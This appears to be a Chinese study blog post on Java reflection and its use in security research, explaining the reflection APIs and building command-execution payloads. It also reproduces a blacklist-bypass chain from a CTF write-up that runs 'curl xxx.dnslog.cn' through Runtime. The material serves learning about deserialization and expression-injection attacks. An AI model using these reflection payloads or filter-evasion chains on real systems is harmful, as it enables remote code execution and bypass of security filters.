文章目录
反射是大多数语言里都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。
反射可以做到:
- 用对象获取他的类
- 用类拿到所有方法
- 拿到方法可以调用
一段代码,改变其中的变量量,将会导致这段代码产生功能性的变化,我称之为动态特性。
一、基础知识
1. 获取Class
对象的方式
-------->即 获取到java.lang.Class
对象,简称类对象
- Class.forName(“全类名”)
如果你知道某个类的名字,想获取到这个类,就可以使用 forName 来获取
- 类名.class
如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接
拿它的 class 属性即可。这个方法其实不属于反射。
- 对象.getClass()
如果上下文中存在某个类的实例例 obj ,那么我们可以直接通过obj.getClass() 来获取它的类
2. Class
对象功能 (略写)
-
获取成员变量:
getField
-
获取构造方法:
getConstructor
- 实例化类对象—newInstance
-
获取成员方法:getMethod
- 执行方法—invoke
-
获取全类名:
getName
《整理》 | 获取指定的 public | 获取所有public | 获取指定的(含私有) | 获取所有的(含私有) |
---|---|---|---|---|
成员变量 | getField(String name) | getFields() | getDeclaredField(String name) | getDeclaredFields() |
构造方法 | getConstructor(…) | getConstructors() | getDeclaredConstructor(…) | getDeclaredConstructors() |
成员方法 | getMethod(…) | getMethods() | getDeclaredMethod(…) | getDeclaredMethods() |
3. 关键函数介绍
3.1 Class.forName
3.1.1 forName两个函数重载
Class<?> forName(String name)
Class<?> forName(String name, boolean initialize, ClassLoader loader)
法1可以理解为法2的封装:
Class.forName(className);
// 等于
Class.forName(className, true, currentLoader);
参数解析:
name
: 类名
initialize
: 是否初始化
loader
: 类加载器
加载器用来告诉Java虚拟机如何加载这个类,Java默认的ClassLoader就是根据类名来加载类,这个类名是类完整路径,如java.lang.Runtime
。
3.1.2 initialize参数——初始化
package com.mone.reflection;
import java.io.IOException;
public class TrainPrint {
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", TrainPrint.class);
}
public TrainPrint() {
System.out.printf("Initial %s\n", this.getClass());
}
}
结果如下:
//****类初始化****
public static void main(String[] args) throws IOException, ClassNotFoundException {
Class.forName("com.mone.reflection.TrainPrint");
}
/* 结果输出
Static initial class com.mone.reflection.TrainPrint
*/
//****类实例化****
public static void main(String[] args) throws IOException, ClassNotFoundException {
TrainPrint test= new TrainPrint();
}
/* 结果输出
Static initial class com.mone.reflection.TrainPrint
Empty block initial class com.mone.reflection.TrainPrint
Initial class com.mone.reflection.TrainPrint
*/
static {}
是在类初始化时调用的,{}
则会在构造函数的super{}
后面,但在当前构造函数内容的前面。
-
类初始化:
static {}
-
类实例化:
static {} -> {} -> 构造函数
所以,forName
中的initialize
其实是决定是否执⾏"类初始化"。
另外,obj.getClass()
和Class.forName()
一样,获取Class对象时会导致"类属性"被初始化,而且只会执行一次。
3.1.3 简单利用
由于在使用forName()
进行类初始化时,会执行static{}
中的代码,我们可以这样利用。
假设存在这样一个函数,其中name可控:
public void ref(String className) throws Exception {
Class.forName(className);
}
实验中,对代码进一步修改来模拟服务端执行过程:
package com.mone.reflection;
public class TestRef {
public void ref(String name)throws Exception{
Class.forName(name);
}
public static void main(String[] args) throws Exception {
String className = "com.mone.reflection.TestCalc";
TestRef testRef = new TestRef();
testRef.ref(className);
}
}
攻击者可以编写一个恶意类,将恶意代码放在static {}
,从而执行:
import java.lang.Runtime;
import java.lang.Process;
public class TestCalc {
static {
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
实际情况中,如何将这个恶意类带入目标机器中,需要涉及到
ClassLoader
的一些利用方法。
3.1.4 配合$
调用内部类
在正常情况下,除了系统类,如果我们想拿到一个类,需要先
import
才能使用。而使用forName
就不需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。
我们可以经常在一些源码里看到,类名的部分包含$
符号,比如Fastjson在checkAutoType时就会先将$
替换成.
参考链接:fastjson/parser/ParserConfig.java#L1038
$
的作用是查找内部类:Java 的普通类C1
中支持编写内部类C2
,而在编译的时候,会生成两个文件:C1.class
和C1$C2.class
,通过Class.forName("C1$C2")
即可加载这个内部类。
3.2 getConstructor & newInstance
获取类以后,我们可以继续使用反射来获取这个类中的属性、方法,也可以实例化这个类,并调用方法。
通常需要先获取类的构造方法之后,使用newInstance()函数创建对象。
如果使用空参数构造方法创建对象,操作可以简化:直接用Class对象的newInstance方法
首先我们来认识一下通过类能获取构造方法的函数:
/**
*获取构造方法的函数
*Constructor<T> getConstructor(类<?>... parameterTypes)
*Constructor<?>[] getConstructors()
*
*Constructor<T> getDeclaredConstructor(类<?>... parameterTypes)
*Constructor<?>[] getDeclaredConstructors()
*/
这些函数可以分成两类,第一类是仅可获取public的构造方法,第二类(含"Declared"关键词)是可获取所有的构造方法。同时每一类中又可以分为可获取指定的和获取全部的(函数后面带"s")
getConstructor() ===》得到指定的public构造方法
getConstructors() ===》得到所有的public构造方法
getDeclaredConstructor() ===》得到指定的公/私有构造方法
getDeclaredConstructors()===》得到所有的公/私有构造方法
getConstructor(s)
现假设存在Person类,类结构如下:
public class Person {
private String name;
private Integer age;
//无参构造函数
public Person() {
}
//单个参数的构造函数,且为私有
private Person(String name){
}
//有参构造函数
public Person(String name, Integer age){
this.name = name;
this.age = age;
}
}
不同方法获取构造函数和实例化结果如下:
- getConstructors获取所有构造函数
Class clazz = Person.class;
//Constructor<?>[] getConstructors()
Constructor[] cs1 = clazz.getConstructors();
for(Constructor cs : cs1){
System.out.println(cs);
}
- getConstructor获取有参的构造函数,接收的参数是构造函数的参数类型列表。获取到构造函数后,使用
newInstance
来进行实例化
Class clazz = Person.class;
//获取构造函数
//public Person(String name, Integer age) 参数类型顺序要与构造函数内一致
Constructor cs2 = clazz.getConstructor(String.class,Integer.class);
System.out.println("constructor2 = " + cs2);
//创建对象
//Constructor类内提供了初始化方法newInstance();方法
Object person2 = cs2.newInstance("张三", 23); //获取的是有参的构造方法,就必须要给参数
System.out.println(person2);
- getConstructor获取无参构造函数,使用
newInstance
来进行实例化
Class clazz = Person.class;
//获取构造函数
//注意:若要获取无参构造函数,要确保Person类中有无参的构造函数,不然抛出异常
Constructor cs3 = clazz.getConstructor();
System.out.println("constructor1 = " + cs3);
//创建对象
Object person1 = cs3.newInstance();
System.out.println("person1 = " + person1);
- **(重点)**对于一般的无参构造函数,我们都不会先获取无参构造器之后在进行初始化。而是直接调用Class类内的newInstance()方法
Class clazz = Person.class;
Object person3 = clazz.newInstance();
System.out.println("person3 = " + person3);
Class.forName(“”).newInstance 本质上就是调用了类内的无参构造函数来完成实例化的
故可以得出结论 我们以后在使用 Class.forName(“”).newInstance; 反射创建对象时,一定要保证类内有无参构造函数
getDeclaredConstructor(s)
对于多出个Declared关键词的两个方法,与不带这个词的两个方法的对比。如上描述,getDeclaredConstructor方法可以获取到任何访问权限的构造器,而getConstructor方法只能获取public修饰的构造器。如何获取私有的构造函数,在构造器的对象内也有setAccessible(true);
方法,将其设置成true即可,即获得构造器对象cs之后,加上cs.setAccessible(true);
。
单例模式
关于为什么要项目要使用private访问权限的构造器,使用这个构造器不就不能外部访问了嘛,不也就无法进行实例化对象了吗?无法在类的外部实例化对象正是私有构造器的意义所在,在单例模式下经常使用,整个项目只有一个对象,外部无法实例化对象,可以在类内的进行实例化并通过静态方法返回(由于实例化的对象是静态的,故只有一个对象,也就是单例的)。网上说这就是单例模式中的饿汉模式,不管是否调用,都创建一个对象,例子如下。
class SingletonDemo{
//私有化构造方法
private SingletonDemo(){
}
//创建一个对象 类内实例化(静态的对象)
private static SingletonDemo singleton = new SingletonDemo();
//提供public方法供外部访问,返回这个创建的对象
public static SingletonDemo getInstance(){
return singleton;
}
}
public class Singleton {
public static void main(String[] args) {
SingletonDemo s1 = SingletonDemo.getInstance();
//输出对象的地址,如果有地址存在,则说明对象创建成功并获取到
System.out.println(s1);
SingletonDemo s2 = SingletonDemo.getInstance();
//如果结果为true,则说明是同一个对象
System.out.println(s1==s2); //输出结果为true
}
}
3.3 getMethod & invoke
得到了类对象,如何获取它的成员方法并执行执行需要利用到getMethod系列函数和invoke函数。
获取类对象的成员方法的函数有:
/**
*获取方法的函数
*Method getMethod(String name, 类... parameterTypes)
*Method[] getMethods()
*
*Method getDeclaredMethod(String name, 类... parameterTypes)
*Method[] getDeclaredMethods()
*/
和getConstuctor系列的函数一样,分有访问公有的、公私有的,也分为可获取指定的、获取所有的,函数名规则和前者一样,此处不再列举。
invoke
invoke()
属于Method
类,作用是对方法进行调用
- 如果执行的是普通方法,那么第一个参数是类的实例
- 如果执行的是静态方法,那么第一个参数可以是类的Class对象,也可以是是类的实例
即:传入类Class对象只能调用静态方法,传类的实例可以调用所有方法。
正常执行方法是 [1].method([2], [3], [4]...)
,在反射里就是method.invoke([1], [2], [3], [4]...)
getMethod
-
getMethod()
,作用是通过反射获取Class对象的指定公有方法,调用getMethod()
时需要根据获取的方法传递对应的参数类型列表。 -
例如需要调用
Runtime.exec()
方法,该方法有6个重载,以第一个为例:exec(String command)
,那么就需要传递一个String
类的类对象
getMethod("exec", String.class)
这里延申记录一下getMethod的其他执行情况:
假设person类的eat方法有3个重载:
- 获取指定名称的方法getMethod()
Class clazz = Person.class;
//情况1.获取无参的eat()方法
Method eat_m1 = clazz.getMethod("eat");
//用invoke执行方法
Person person = new Person();
Object rtValue = eat_method1.invoke(person);//如果方法有返回值类型可以获取到,没有就为null
//输出返回值 eat()方法没有返回值,故输出null
//情况2.获取有参的eat()方法
Method eat_method2 = personClass.getMethod("eat", String.class);
Method eat_method3 = personClass.getMethod("eat", String.class, String.class);
//执行方法
eat_method2.invoke(person,"饭");
eat_method3.invoke(person,"饭","水果");
- 获取方法列表getMethods()
Method[] methods = personClass.getMethods();
for(Method method : methods){ //注意:获取到的方法名称不仅仅是我们在Person类内看到的方法
System.out.println(method); //继承下来的方法也会被获取到(当然前提是public修饰的)
我们可以看出还打印了Object类内的方法,所以Person的父类内的public修饰的方法也可以获取到。
- 关于获取成员方法们的另外两个方法
Method[] getDeclaredMethods()
Method getDeclaredMethod(String name, 类<?>... parameterTypes)
method.setAccessible(true); //暴力反射
同之前的叙述一样,带有Declared关键字的方法这两个方法,可以获取到任意修饰符的方法。同样的提供了setAccessible(true);
方法行暴力反射。
综上说述:对于反射机制来说,在反射面前没有公有私有,都可以通过暴力反射解决。
getName
getName()方法获取的方法名仅仅就是方法名(不带全类名),且不带有参数列表。
@Test
public void reflect6() throws NoSuchMethodException {
Class personClass = Person.class;
Method[] methods = personClass.getMethods();
for(Method method : methods){
System.out.println(method);
//获取方法名
String name = method.getName();
System.out.println(name);
}
}
二、Java安全利用
1. Class.newInstance调用失败
由上所述我们知道,class.newInstance()
是Java反射框架中类对象创建新的实例化对象的方法。能直接调用这个类的无参构造函数,用于创建对象。
但在实际写payload调用newInstance
不成功时,原因可能是:
- 使用的类没有无参构造函数
- 使用的类构造函数是私有的
2. 调用私有的类构造方法
最常见的情况就是java.lang.Runtime
,这个类在构造命令执行Payload时经常用到,但不能直接这样来执行命令:
package com.mone.reflection;
public class TestNewInstance {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "calc");
}
}
报错:
原因是java.lang.Runtime
这个类的构造方法是私有的,这里涉及到单例模式的设计思想
//Runtime类:
private Runtime() {} //构造方法私有,不能在外部实例化
//在该类被初始化时会在内部创建一个静态的本类的对象
private static Runtime currentRuntime = new Runtime();
//静态工厂方法,可以用类来调用,返回本类的对象,在外部可能接收该对象
//因为Runtime 类本身的构造方法是私有化的,如果想取得一个 Runtime 实例,则只能通过:`Runtime run = Runtime.getRuntime();`
public static Runtime getRuntime() { //注意它是静态方法
return currentRuntime;
}
- 比如Web应用中的数据库链接,通常只需要链接一次。此时可以将数据库链接所使用的类的构造函数设为私有,这样只有在类初始化时才会执行一次构造函数,然后通过编写一个静态方法来获取这个数据库对象。
这里Runtime
类也使用了单例模式,因此只能通过Runtime.getRuntime()
来获取Runtime
对象。所以需要修改为:
package com.mone.reflection;
public class TestNewInstance {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc");
}
}
将该payload分解理解:
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"open /System/Applications/Calculator.app");
这里有两个问题:
- 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,怎样通过反射实例化该类?
- 如果一个方法或构造方法是私有方法,是否能够通过反射执行?
3. 用反射替代强制类型转换
第一个问题,我们需要用到getConstructor
。
class.getConstructor()
作用是获取构造函数对象,接收的参数是构造函数的参数类型列表。获取到构造函数后,使用newInstance
来进行实例化
以ProcessBuilder
类为例,它和Runtime
一样也是一种执行命令的方式,该类有两个构造函数:
public ProcessBuilder(List<String> command)
public ProcessBuilder(String... command)
第一种构造函数,需要传入List.class
类对象。先通过反射来获取其构造函数,再调用start()
方法执行命令:
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc"))).start();
这个Payload用到了强制类型转换,实际情况下利用漏洞的时候(在表达式上下文中)没有这种语法,所以需要利用反射来完成这一步:
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc")));
这里通过getMethod("start")
获取到start方法,然后invoke
执行,invoke
的第一个参数就是ProcessBuilder
类对象
4. 可变长参数
对于可变长参数,Java在编译的时候会把它编译成一个数组,即:
public void hello(String...names) {}
//在底层写法是等价的
public void hello(String[] names) {}
所以我们使用时中可以直接传数组:
String[] names = {"hello", "world"};
hello(names);
因此,在反射的过程中,遇到目标函数里包含可变长参数,就把它看作为数组即可。
ProcessBuilder
类的第二种构造函数public ProcessBuilder(String... command)
,这里(String… command)表示这个函数的参数个数是可变的,是可变长参数,我们用字符串数组的类 String[].class
传给getConstructor,获取ProcessBuilder的第二种构造函数:
Class clazz = Class.forName("java.lang.ProcessBuilder");
constructor pb_cs = clazz.getConstructor(String[].class);
在调用newInstance
的时候,因为这个函数本身接收的是一个可变长参数,ProcessBuilder
所接收的也是一个可变长参数,二者叠加为一个二维数组,所以整个Payload如下:
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
这里前面还用了强制类型转换,改成完全反射编写:
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));
5. 用反射获取私有构造方法
如果一个方法或构造方法是私有方法,是否能够通过反射执行?
可以。我们可以使用getDeclared系列的反射,具体方式见上文。它能够获取当前类中“声明”的方法/构造方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了。
- 以
java.lang.Runtime
类为例,前文说到这个类的构造方法是私有的,使用了getMethod()
和invoke()
函数联合的方法(详见小节【Class.newInstance调用失败】)。这里可以直接调用getDeclaredConstructor()
来获取这个私有的构造方法来实例化对象,从而执行命令。 - 需要注意的是,获取私有方法后需要用
setAccessible()
修改其作用域,否则仍然不能调用。
package com.mone.reflection;
import java.lang.reflect.Constructor;
public class TestDeclared {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.Runtime");
Constructor cs = clazz.getDeclaredConstructor();
cs.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(cs.newInstance(), "calc");
}
}
6. 沙盒绕过
在安全研究中,我们使用反射的一大目的,就是绕过某些沙盒。比如,上下文中如果只有Integer类型的数字,我们如何获取到可以执行命令的Runtime类呢?也许可以这样(伪代码):
1.getClass().forName("java.lang.Runtime")
Code-Breaking 2018中某道题的第三方Writup:http://rui0.cn/archives/1015
在JAVA中我们可以通过下面代码来执行命令:
Runtime.getRuntime().exec("curl xxx.dnslog.cn")
由于有黑名单,使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl xxx.dnslog.cn");
整理分析:
String.class.getClass() // 获取 Class 对象
.forName("java.lang.Runtime") // 获取 Runtime 对象
.getMethod("exec", String.class) // 获取 exec 方法
.invoke( // 反射调用 exec 方法 (0)
String.class.getClass() // 同上,获取并调用 getRuntime 方法
.forName("java.lang.Runtime")
.getMethod("getRuntime") //(1)
.invoke( // 同上,获取 Runtime 对象
String.class.getClass() //(2)
.forName("java.lang.Runtime")
),
"curl xxx.dnslog.cn" // exec 方法参数
);
(0)invoke调用exec方法,第一参数是应是Runtime
对象,第二个参数是要执行的命令即"curl xxx.dnslog.cn"。
(1)要获取Runtime对象,则要获取并调用getRuntime方法
(2)getRuntime()是无参的静态方法,所以第一个参数是Runtime类的Class对象
三、疑点与发现
int和Integer
做实验的时候发现一件事
一开始我还很疑惑为啥俩结果不一样,是我基础太差了哈,c4那个应该写成Interger.class 。 Integer是int的包装类;int是基本数据类型。
but,我又觉得奇怪,int既然是数据类型为啥也有Class对象。
Baidu结果:
有9个预先定义好的Class对象代表8个基本类型和void,它们被java虚拟机创建,和基本类型有相同的名字Boolean, byte, char, short, int, long, float, and double.
这8个基本类型的Class对象可以通过java.lang.Boolean.TYPE, java.lang.Integer.TYPE等来访问,同样可以通过int.class, boolean.class等来访问.
int.class与Integer.TYPE是等价的,但是与Integer.class是不相等的,int.class指的是int的Class对象,Integer.class是Integer的Class的类对象.
new和newInstance
在学习通过用反射来代替强制类型转换的时候想的一个问题
这里之所以要强制类型是因为前面那一堆newInstace出来的对象属于Object类,而start()方法的使用在ProcessBuilder上的,ProcessBuilder pb = new ProcessBuilder(list);
pb.start();
所以需要强制类型转换???
实验中,不加强制类型转换,显示start()前面的东西是 java.lang.Object 类?对象?
加了强制类型转换,故意报错得到信息:显示start()前面的东西是 java.lang.ProcessBuilder 类?对象?
实例化PB成pb1,并且调用错误方法引发报错,得到信息:pb1是一个类型为PB的变量???
通过Baidu,得到了答案:
首先,反射机制创建的实例是不能直接获取方法的,就是newInstance出来的对象不能直接调用它的方法,如:
Person.class.getConstructor().newInstance().eat();
是不可以的,如果非要这么写就得强制类型转换: (还得注意是这个类要有无参的构造方法)
((Person)Person.class.getConstructor().newInstance()).eat();
要强制类型转换的原因是:
- 因为得到person是Object类型的,不知道具体属于哪个类型,所以里面的方法和属性也是未知的。
- 反射是框架设计的灵魂,什么是框架呢?就是一个半成品的软件,我们在框架的基础上进行开发去简化编码。当选择使用反射的时候,那就说明这是通用模版,所需要的类,方法名,参数都是未知的,需要传过来的。
然后是new
和 newInstance()
的区别:
在调用空参构造器的时候new和newInstance() 的效果是一样的,所以new出来的也是对象而不是变量啦!(差点怀疑人生)
-
new 是关键字,我们可以任意调用构造函数来创建对象实例;若对应类的class文件未加载,则加载对应的class文件,进行类的链接、初始化操作。
-
newInstance() 是方法,返回Object类型,创建对应的运行时类的对象。内部调用了运行时类的空参的构造器。
newInstance()是实现IOC、反射、面对接口编程 和 依赖倒置 等技术方法的必然选择,new 只能实现具体类的实例化,不适合于接口编程
参考文章:
https://blog.csdn.net/lvzhi0588/article/details/103314788
https://blog.csdn.net/Ray327_/article/details/124901644